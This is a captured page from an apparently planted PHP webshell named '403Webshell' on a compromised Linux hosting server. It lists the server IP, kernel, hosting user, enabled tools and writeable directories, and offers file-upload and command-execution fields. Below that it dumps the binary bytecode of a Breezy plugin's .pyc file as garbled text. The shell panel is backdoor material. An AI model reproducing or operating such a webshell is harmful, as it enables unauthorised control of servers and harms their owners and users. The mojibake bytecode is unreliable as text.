403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/breezy/plugins/commitfromnews/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/breezy/plugins/commitfromnews/__pycache__/committemplate.cpython-313.pyc
�

p��g8��`�SrSSKrSSKrSSKJrJr \R"S5r"SS5rg)z!Logic to create commit templates.�N�)�
bugtracker�osutilszlp:(\d+)c�&�\rSrSrSrSrSrSrg)�CommitTemplate�c�(�XlX lX0lg)z�Create a commit template for commit with initial message message.

:param commit: A Commit object for the in progress commit.
:param message: The current message (which may be None).
:param filespec: List of files to match
N)�commit�message�filespec)�selfr
rrs    �N/usr/lib/python3/dist-packages/breezy/plugins/commitfromnews/committemplate.py�__init__�CommitTemplate.__init__s������ �
�c	�$�URRR5nSnSnUHupEpgXPR;dMUnUn O U(dUR$Uc�[URRRRURURS4/55up�SRU	5RS5n
URU
5$URRRW5nURURS4URUS4/nURRRRU5n
0nU
H'unn[R "[#U55X�'M) USn[$R&"SUSU5n/nUR)5HOnUunnnnnUS:XaMUS:XaMUR+UUUVs/sHnURS5PM sn5 MQ URR,R/S5(d�[0R2R/S	5n/nUH'nUR+[4R7U55 M) [0R8"UVs/sH$nUR;U5[0R<4PM& sn5URR,S'URS
RU55$s snfs snf)z�Make the template.

If NEWS is missing or not not modified, the original template is
returned unaltered. Otherwise the changes from NEWS are concatenated
with whatever message was provided to __init__.
Nrzutf-8�new�old�equal�delete�bugs�	launchpad�)r
�builder�get_basis_deltarr�next�
repository�iter_files_bytes�file_id�revision�join�decode�
merge_message�
basis_tree�get_file_revisionr�chunks_to_lines�list�patiencediff�PatienceSequenceMatcher�get_opcodes�extend�revprops�getr�tracker_registry�
_BUG_MATCH�findall�encode_fixes_bug_urls�get_bug_url�FIXED)r
�delta�found_old_path�found_entry�old_path�new_path�_fileid�entry�_�
new_chunks�content�old_revision�needed�contents�lines�name�chunksr�sequence_matcher�	new_lines�group�tag�i1�i2�j1�j2�l�bt�bugids�line�bugids                               r�make�CommitTemplate.make(s������#�#�3�3�5������27�.�H���=�=�(�#��!)���	38�
��<�<���!� ����#�#�.�.�?�?�!�)�)�;�+?�+?��F�G���M�A�
�h�h�z�*�1�1�'�:�G��%�%�g�.�.� �;�;�1�1�C�C�H�M�L��$�$�k�&:�&:�E�B��$�$�l�E�:��F��{�{�*�*�5�5�F�F�v�N�H��E� (���f�%�5�5�d�6�l�C���!)���,�C�+�C�C��e�E�l�C� ���I�)�5�5�7��&+�#��R��R���'�>���(�?��� � �S��B�Z�!H�Z��!�(�(�7�"3�Z�!H�I�
8��;�;�'�'�+�+�F�3�3� �0�0�4�4�[�A����%�D��M�M�*�"4�"4�T�":�;�&�/9�/O�/O�LR�S�F�5�b�n�n�U�+�Z�-=�-=�>�F�S�0����$�$�V�,��%�%�b�g�g�i�&8�9�9��"I��Ts�-L
�+L
c�>�URcU$URU-$)z�Merge new_message with self.message.

:param new_message: A string message to merge with self.message.
:return: A string with the merged messages.
)r)r
�new_messages  rr#�CommitTemplate.merge_messagejs#���<�<�����|�|�k�)�)r)r
rrN)�__name__�
__module__�__qualname__�__firstlineno__rrQr#�__static_attributes__�rrrrs��	!�@:�D*rr)	�__doc__�rer(rrr�compiler/rr[rr�<module>r_s-��"(�	��#�
�Z�Z��
$�
�V*�V*r

Youez - 2016 - github.com/yon3zu
LinuXploit